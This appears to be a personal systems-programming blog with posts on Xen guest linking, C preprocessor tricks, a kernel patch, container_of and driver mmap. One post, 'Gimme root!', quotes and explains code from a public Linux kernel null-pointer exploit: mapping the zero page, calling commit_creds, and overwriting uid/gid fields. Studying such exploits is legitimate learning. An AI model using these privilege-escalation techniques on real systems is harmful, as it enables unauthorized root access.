gcc / ld madness

November 7, 2012

So, I started reading [The Definitive Guide to the Xen Hypervisor] (again :P), and I thought it would be fun to start with the example guest kernel, provided by the author, and extend it a bit (ye, there’s mini-os already in extras/, but I wanted to struggle with all the peculiarities of extended inline asm, x86_64 asm, linker scripts, C macros etc, myself :P).

After doing some reading about x86_64 asm, I ‘ported’ the example kernel to 64bit, and gave it a try. And of course, it crashed. While I was responsible for the first couple of crashes (for which btw, I can write at least 2-3 additional blog posts :P), I got stuck with this error:

traps.c:470:d100 Unhandled bkpt fault/trap [#3] on VCPU 0 [ec=0000]
RIP:    e033:<0000000000002271>

when trying to boot the example kernel as a domU (under xen-unstable).

0x2000 is the address where XEN maps the hypercall page inside the domU’s address space. The guest crashed when trying to issue any hypercall (HYPERCALL_console_io in this case). At first, I thought I had screwed up with the x86_64 extended inline asm, used to perform the hypercall, so I checked how the hypercall macros were implemented both in the Linux kernel (wow btw, it’s pretty scary), and in the mini-os kernel. But, I got the same crash with both of them.

After some more debugging, I made it work. In my Makefile, I used gcc to link all of the object files into the guest kernel. When I switched to ld, it worked. Apparently, when using gcc to link object files, it calls the linker with a lot of options you might not want. Invoking gcc using the -v option will reveal that gcc calls collect2 (a wrapper around the linker), which then calls ld with various options (certainly not only the ones I was passing to my ‘linker’). One of them was –build-id, which generates a .note.gnu.build-id” ELF note section in the output file, which contains some hash to identify the linked file.

Apparently, this note changes the layout of the resulting ELF file, and ‘shifts’ the .text section to 0x30 from 0x0, and hypercall_page ends up at 0x2030 instead of 0x2000. Thus, when I ‘called’ into the hypercall page, I ended up at some arbitrary location instead of the start of the specific hypercall handler I was going for. But it took me quite some time of debugging before I did an objdump -dS [kernel] (and objdump -x [kernel]), and found out what was going on.

The code from bootstrap.x86_64.S looks like this (notice the .org 0x2000 before the hypercall_page global symbol):

        .text
        .code64
	.globl	_start, shared_info, hypercall_page
_start:
	cld
	movq stack_start(%rip),%rsp
	movq %rsi,%rdi
	call start_kernel

stack_start:
	.quad stack + 8192
	
	.org 0x1000
shared_info:
	.org 0x2000

hypercall_page:
	.org 0x3000	

One solution, mentioned earlier, is to switch to ld (which probalby makes more sense), instead of using gcc. The other solution is to tweak the ELF file layout, through the linker script (actually this is pretty much what the Linux kernel does, to work around this):

OUTPUT_FORMAT("elf64-x86-64", "elf64-x86-64", "elf64-x86-64")
OUTPUT_ARCH(i386:x86-64)
ENTRY(_start)

PHDRS {
	text PT_LOAD FLAGS(5);		/* R_E */
	data PT_LOAD FLAGS(7);		/* RWE */
	note PT_NOTE FLAGS(0);		/* ___ */
}

SECTIONS
{
	. = 0x0;			/* Start of the output file */
	_text = .;			/* Text and ro data */
	.text : {
		*(.text)
	} :text = 0x9090 

	_etext = .;			/* End ot text section */

	.rodata : {			/* ro data section */
		*(.rodata)
		*(.rodata.*)
	} :text

	.note : { 
		*(.note.*)
	} :note

	_data = .;
	.data : {			/* Data */
		*(.data)
	} :data

	_edata = .;			/* End of data section */	
}

And now that my kernel boots, I can go back to copy-pasting code from the book … erm hacking. :P

Disclaimer: I’m not very familiar with lds scripts or x86_64 asm, so don’t trust this post too much. :P

Abusing the C preprocessor

August 29, 2011

Both tricks shown here are related with a change (by Peter Zijlstra) in the kmap_atomic() and kunmap_atomic() macros/functions. LWN has an excellent article about what that change involved. It basically ‘dropped’ support for atomic kmap slots, switching to a more general stack-based approach.

Now with this change, the number of arguments passed to the kmap_atomic() function changed too, and thus you end up with a huge patch covering all the tree, which fixed the issue (changing kmap_atomic(p, KM_TYPE) to kmap_atomic(p)).

But there was another way to go. Some C preprocessor magic.

#define kmap_atomic(page, args...) __kmap_atomic(page)

Yes, the C preprocessor supports va_args. :)
(which I found out when going through the reptyr code, but I’ll talk about it in an other post.)

Today, I saw a thread at the lkml, which actually did the cleanup I described. Andrew Morton responded:

I’m OK with cleaning all these up, but I suggest that we leave the back-compatibility macros in place for a while, to make sure that various stragglers get converted. Extra marks will be awarded for working out how to make unconverted code generate a compile warning

And Nick Bowler responded with a very clever way to do this (which involved abusing heavily the C preprocessor :P):

  #include <stdio.h>

  int foo(int x)
  {
     return x;
  }

  /* Deprecated; call foo instead. */
  static inline int __attribute__((deprecated)) foo_unconverted(int x, int unused)
  {
     return foo(x);
  }

  #define PASTE(a, b) a ## b
  #define PASTE2(a, b) PASTE(a, b)
  
  #define NARG_(_9, _8, _7, _6, _5, _4, _3, _2, _1, n, ...) n
  #define NARG(...) NARG_(__VA_ARGS__, 9, 8, 7, 6, 5, 4, 3, 2, 1, 0)

  #define foo1(...) foo(__VA_ARGS__)
  #define foo2(...) foo_unconverted(__VA_ARGS__)
  #define foo(...) PASTE2(foo, NARG(__VA_ARGS__)(__VA_ARGS__))

  int main(void)
  {
    printf("%d\n", foo(42));
    printf("%d\n", foo(54, 42));
    return 0;
  }

The actual warning is printed due to the deprecated attribute of the foo_unconverted() function.

The fun part, however, is how we get to use the foo ‘identifier’/name to call either foo() or foo_uncoverted() depending on the number of arguments given. :)

The trick is to use the __VA_ARGS__ to ‘shift’ the numbers 9-0 in the NARG macro, so that when calling the NARG_ macro, _9 will match with the first __VA_ARGS__ argument, _8 with the second etc, and so n will match with actual number of arguments (I’m not sure I described it very well, but if you try doing it by hand, you’ll understand how it’s working).

Now that we have the number of arguments given to foo, we use the PASTE macro to ‘concatenate’ the number of the arguments with the function name, and the actual arguments given, and call the appropriate wrapper macro (foo1, foo2 etc).

Another interesting thing, which I didn’t know, is about argument expansion in macros. For macros that concatenate (##) or stringify (#) the arguments are not expanded beforehand. That’s why we have to use PASTE2 as a wrapper, to get the NARG() argument/macro fully expanded before concatenating.

Ok, C code can get at times a bit obfuscated, and yes you don’t have type safety etc etc, but, man, you can be really creative with the C language (and the C preprocessor)!
And the Linux kernel development(/-ers) prove just that. :)

my first kernel patch!

March 11, 2011

Here it is! :P

Well, the patch itself isn’t a big deal, since I didn’t write any code. It was a cleanup of asm-offsets.

Afaik, Linux has quite a lot of assembly code, which needs the offsets of various struct members. Of course, assembly code(or even toplevel inline assembly) cannot use the offsetof marco. That’s also the case for some C constants, eg:

#define PAGE_SIZE (1UL << PAGE_SHIFT)) 

Thus, these offsets and constants are ‘calcualted’ at build time as ‘absolute values’ so that gas will be ok. :P
Using the macros defined in incldue/linux/kbuild.h

#define DEFINE(sym, val) \
        asm volatile("\n->" #sym " %0 " #val : : "i" (val))

#define BLANK() asm volatile("\n->" : : )

#define OFFSET(sym, str, mem) \
	DEFINE(sym, offsetof(struct str, mem))

#define COMMENT(x) \
	asm volatile("\n->#" x)

the asm-offsets.c is used to create a ‘special’ asm fle, which is then parsed by the kernel build system, in order to create the include/generated/asm-offsets.h file.

However, a patch introduced two new macros in include/linux/const.h

#ifdef __ASSEMBLY__
#define _AC(X,Y)	X
#define _AT(T,X)	X
#else
#define __AC(X,Y)	(X##Y)
#define _AC(X,Y)	__AC(X,Y)
#define _AT(T,X)	((T)(X))
#endif

so that some constants defined in C work with gas too.

And now, the PAGE_SIZE is defined as

#define PAGE_SIZE       (_AC(1,UL) << PAGE_SHIFT

and thus, the PAGE_SIZE_asm defined in x86/asm-offsets.c, and used in some places in x86 code was no longer needed(that’s also the case with PAGE_SHIFT and THREAD_SIZE).

So, I deleted PAGE_SIZE_asm/PAGE_SHIFT_asm/THREAD_SIZE_asm from x86/kernel/asm-offsets.c, and replaced them with their non-asm counterparts, in the code that used them.

I posted it to lkml(after some hours experimenting with git format-patch and git send-email :P), and it got accepted. :)

Here are some things I learned while reading the Linux kernel source code(some of which took me a couple of hours of googling and searching through documentation, git commit posts, threads on lkml etc etc :P).

1)You cannot write extended toplevel inline assembly, ie when you want to use extended inline assembly to pass the value of some C variables or constants, you can only do it inside a function. And as I found out, someone had filed a bug at the GCC bugzilla. So something like this

static const char foo[] = "Hello, world!";
enum { bar = 17 };
asm(".pushsection baz; .long %c0, %c1, %c2; .popsection"
    : : "i" (foo), "i" (sizeof(foo)), "i" (bar));

won’t work.

2)I didn’t search very much the documentation about inline asm, but I couldn’t find what’s the difference between %c0 and %0. It’s used at the example code above, and in a kernel macro I saw. I understood that it had to do with some ‘constant casting’, but I couldn’t find anywhere the exact difference. So I wrote a simple piece of code to clarify that:

main() {
	asm("movl %0, %%eax; movl %c0, %%eax"
		:: "i" (0xff) );
}

and after

gcc -S foo.c

I get:

movl $255, %eax
movl 255, %eax

So %0 is used when we want an integer constant to be used as an immediate value in instructions like mov, add etc, which means that it should be prefixed with $, while %c0 is used when we want the number itself for instructions like .long, .size etc which demand an absolute expression/value as ‘arguments’.

3) When using the section attribute on a variable, in order to change the section it belongs, you cannot change the section’s type to nobits, it’ll be progbits by default. progbits means that the section will actually get space allocated inside the executable(like text and data sections), in contrast to nobits sections like bss for example.
i.e. you can’t do this

static char foo __attribute__(section("bar", nobits));

4)I also found out about the pushsection and popsections asm directives, which manipulate the ELF section stack, and seem to be very useful in certain occasions. pushsection obviously pushes the current section to the section stack, and replace it with the argument passed to the directive, while popsection replaces the current section with the section on top of the section stack.

5)Finally the ‘used’ attribute, which indicates that the symbol(function in our case) is actually used/called/referenced even if the compiler can’t ‘see’ it(otherwise I think that the compiler optimizations would omit code generation for that function).

And now a kernel macro which includes all of the above:

/*
 * Reserve space in the brk section.  The name must be unique within
 * the file, and somewhat descriptive.  The size is in bytes.  Must be
 * used at file scope.
 *
 * (This uses a temp function to wrap the asm so we can pass it the
 * size parameter; otherwise we wouldn't be able to.  We can't use a
 * "section" attribute on a normal variable because it always ends up
 * being @progbits, which ends up allocating space in the vmlinux
 * executable.)
 */
#define RESERVE_BRK(name,sz)						\
	static void __section(.discard.text) __used			\
	__brk_reservation_fn_##name##__(void) {				\
		asm volatile (						\
			".pushsection .brk_reservation,\"aw\",@nobits;" \
			".brk." #name ":"				\
			" 1:.skip %c0;"					\
			" .size .brk." #name ", . - 1b;"		\
			" .popsection"					\
			: : "i" (sz));					\
	}

And a bit more detailed explanation from the git commit

The C definition of RESERVE_BRK() ends up being more complex than
one would expect to work around a cluster of gcc infelicities:

The first attempt was to simply try putting __section(.brk_reservation)
on a variable. This doesn’t work because it ends up making it a
@progbits section, which gets actual space allocated in the vmlinux
executable.

The second attempt was to emit the space into a section using asm,
but gcc doesn’t allow arguments to be passed to file-level asm()
statements, making it hard to pass in the size.

The final attempt is to wrap the asm() in a function to allow
it to have arguments, and put the function itself into the
.discard section, which vmlinux*.lds drops entirely from the
emitted vmlinux.

Another thing to notice is that the wrapper function is put in the .discard.text section, which according to the vmlinux.lds(the linker script used to generate/link the vmlinux executable) will be discarded and thus not included in the executable.
From scripts/module-common.lds:

/*
 * Common module linker script, always used when linking a module.
 * Archs are free to supply their own linker scripts.  ld will
 * combine them automatically.
 */
SECTIONS {
	/DISCARD/ : { *(.discard) }
}

The purpose of the RESERVE_BRK macro, and the brk-like allocator for very early memory allocations needed during the kernel boot process is an interesting story too(which means another post coming soon)! ;)

Gimme root!

February 17, 2011

I was looking at the Linux Kernel null-pointer dereferencing exploit in the /dev/net/tun, aka Cheddar Bay :P, written by Brad Spengler, and I came along some things I hadn’t seen before.

In the pa__init function of the exploit, we try to mmap the zero page, and then we set it up accordingly in order to redirect to our “gimme root” code. :P

The piece of code for the mmap looks like this:

	if ((personality(0xffffffff)) != PER_SVR4) {
		mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
		if (mem != NULL) {
			fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
			return 1;
		}
	} else {
		ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC);
		if (ret == -1) {
			fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
			return 1;
		}
	}

Thus, I learned that the SVR4 personality(generally when the MMAP_PAGE_ZERO flag is set in the personality) maps the zero page, and fills it with zeros, and that’s why we use mprotect for SVR4, instead of mmap, since zero page is already mapped.

The gimme-root code, was also fun(spender did he best to mock SELinux :P). However the code that actually gives us root credentials is only 3 lines:

	if (commit_creds && init_cred) {
		/* hackish usage increment */
		*(volatile int *)(init_cred) += 1;
		commit_creds(init_cred);
		got_root = 1;
	}

where init_cred is the credential struct used by init(aka root :P), and commit_creds points to the kernel symbol/function which is used to manage credentials. spender gets the addresses of those symbols by parsing /proc/kallsyms. However, it seems that the init_cred symbol/struct is not exported, so instead maybe we could craft a new cred struct with uid/gid=0 and then call prepare_creds/commit_creds.

Afaik, this credential ‘framework’ was introduced with Linux Kernel 2.6.30, so spender provides another ‘old-school’ :P way to get root credentials, in older kernels:

/* for RHEL5 2.6.18 with 4K stacks */
static inline unsigned long get_current(void)
{
	unsigned long current;

	asm volatile (
	" movl %%esp, %%eax;"
	" andl %1, %%eax;"
	" movl (%%eax), %0;"
	: "=r" (current)
	: "i" (0xfffff000)
	);
	return current;
}

static void old_style_gimme_root(void)
{
	unsigned int *current;
	unsigned long orig_current;

	current = (unsigned int *)get_current();
	orig_current = (unsigned long)current;

	while (((unsigned long)current < (orig_current + 0x1000)) &&
		(current[0] != our_uid || current[1] != our_uid ||
		 current[2] != our_uid || current[3] != our_uid))
		current++;

	if ((unsigned long)current >= (orig_current + 0x1000))
		return;

	current[0] = current[1] = current[2] = current[3] = 0; // uids
	current[4] = current[5] = current[6] = current[7] = 0; // gids

	got_root = 1;

	return;
}

which gets the current task’s stack, searches for our uids/gids, and then it sets them to 0(aka root :P).

The exploit itself is brilliant, and LWN has two very nice articles, which explain how the exploit actually works(although spender has commented more than enough–commenting on Linux Kernel security, full disclosure of security bugs etc etc).

Linux uses a rather complicated(for me) driver model, which is built upon the kobject abstratction. There’s a lot of documentation about the linux driver model, and describing it in detail is out of the scope of this post(well, actually I can’t do it : P ).

In short:
kobjects are structs that hold some information(a name, a reference count, a parent pointer etc), and are usually embedded into other structs, typically structs for devices/device drivers(ie struct cdev, for a character device), creating a hieararchy which is ‘exported’ to userspace through the sysfs(mounted on /sys).
The question is how the code that works with kobjects can reference the struct that contains the kobject. The kernel provides a macro, (not surprisingly) called container_of, which does exactly that.
The definition of the macro can be found in include/linux/kernel.h:

/**
* container_of - cast a member of a structure out to the containing structure
* @ptr: the pointer to the member.
* @type: the type of the container struct this is embedded in.
* @member: the name of the member within the struct.
*
*/
#define container_of(ptr, type, member) ({ \
const typeof( ((type *)0)->member ) *__mptr = (ptr); \
(type *)( (char *)__mptr - offsetof(type,member) );})

In order to understand what this macro does, we have to be somewhat familiar with the C Preprocessor, and some non-standard GCC extensions:
1)A parenthesis followed by a brace. This is called by the GCC statement expression. It lets us use a compound statement as an expression. Here, we want to use the container_of macro as an expression, but we want to declare a local variable(__mptr) inside the macro, so we need a compound statement.
2)The typeof GCC extension that lets us refer to the type of an expression, and can be used to declare variables.

The previous two extensions let us write safe macros(ie side effects of the operands are calculated only once) that work for any type(some kind of polymorphism), and can be used as expressions.

This macro also uses the offsetof, which computes the byte offset of a field within a structure. Linux uses the compiler-provided offsetof, if the compiler provides one, else it defines the offsetof macro as

#define offsetof(TYPE, MEMBER) ((size_t) &((TYPE *)0)->MEMBER)

A few words about offsetof. offsetof is a valid ANSI C macro. Cfaq gives a possible implementation of offsetof(though non-portable) which is a bit different than the one that the kernel defines. I’m not sure about this, but as far as I can understand, the cfaq offsetof subtracts a NULL pointer from the ((type *)0)->member, to ensure that the offset is correct, even if the internal representation of the NULL pointers isn’t actually zero. I guess Linux has good reasons to assume that’s OK to ommit that subtraction.

And the last trick is the ((type *)0) cast. Actually, we pretend that there’s an instance of the struct at address 0. If we tried to reference it, we would be in big trouble, but that never happens. So we trick the compiler and we can legally get the type of the struct member, which is used to declare the __mptr as a pointer to that struct member. It’s also used by offsetof to get the byte offset of the mebmer within the struct(since it uses as a ‘base address’ for the struct the address 0).

Now we can understand(at least partially) what the macro does. It declares a pointer to the member of the struct that ptr points to, and assigns ptr to it. Now __mptr points to the same address as ptr. Then it gets the offset of that mebmer within the struct, and subtracts it from the actual address of the member of the struct ‘instance'(ie __mptr). The (char *)__mptr cast is necessary, so that ‘pointer arithmetic’ will work as intended, ie subtract from __mptr exactly the (size_t) bytes that offsetof ‘returns’.

At this point, I really can’t understand why we couldn’t use the ptr pointer directly. We could ommit the first line, and the macro could be

#define container_of(ptr, type, member) (type *)( (char *)(ptr) - offsetof(type,member) )

ptr is used only once — we don’t need to worry about side effects.
Maybe it’s just good coding practice.

EDIT: Apparently, the first line is there for ‘type checking’. It ensures that type has a member called member(howerver this is done by offsetof macro too, I think), and if ptr isn’t a pointer to the correct type(the type of the member), the compiler will print a warning, which can be useful for debuging.

mmap for Linux drivers

June 26, 2009

Due to an assignment for the Operating Systems Lab, which I’m attending this semester, I started reading about character device drivers for the Linux Kernel. We were a given an incomplete driver, which handled the communication with the hardware, as well as some other issues, and we had to implement the ‘upper layer’ of the driver, which did the communication with the userspace, and handled some locking issues.

Linux Device Drivers(LDD) was very helpful to start with(trying to read kernel code for the first time can be a terrifying experience). However, when I got to the point, where I had to implement the mmap method for the driver, LDD was a bit dated. After some googling and with the help of the Linux Cross Reference, I found out the changes in the Linux Kernel API, and sucessfully implemented mmap(or so I hope :P).

Due to a number of reasons, the nopage method, as well as the populate and the nopfn methods, have been completely removed from the vm_opeartions struct, and the new fault method is used instead for handling page faults.

Besides the changes in the fault handlers, recent kernel releases added another method to map pages to userspace(remap_pfn_range is often used for that purpose). The method is called vm_insert_page, which allows the driver to map a single page to userspace, and can be very useful when you need to map just one page-aligned buffer, which was allocated inside the driver, to userspace.

So, replacing nopage with fault, and using vm_insert_page (simpler code and better suited to the needs of the driver I was writing) instead of remap_pfn_range, did the job.
;)

Btw, in LDD Ch15, it states that it’s not possible to map conventional RAM with remap_pfn_range(ie pages you get from get_free_page) because remap_pfn_range only maps pages with the PG_reserved flag set. However, drivers would manually set the PG_reserved flag to make remap_pfn_range work, although the proper way of remapping ordinary RAM was with the nopage method(described in LDD). Tweaking the PG_reserved flag was considered bad practice, and so Linux 2.6.15 practically removed the PG_reserved flag. A couple of changes were made to the VMA flags as well, including the new vm_insert_page method, and it was made possible to map ‘ordinary’ RAM with remap_pfn_range. Since my knowledge of the memory management in Linux and the VM subsystem is minimal, I can’t explain much more(maybe in another post after a few months ; ).

Follow

Get every new post delivered to your Inbox.

Join 276 other followers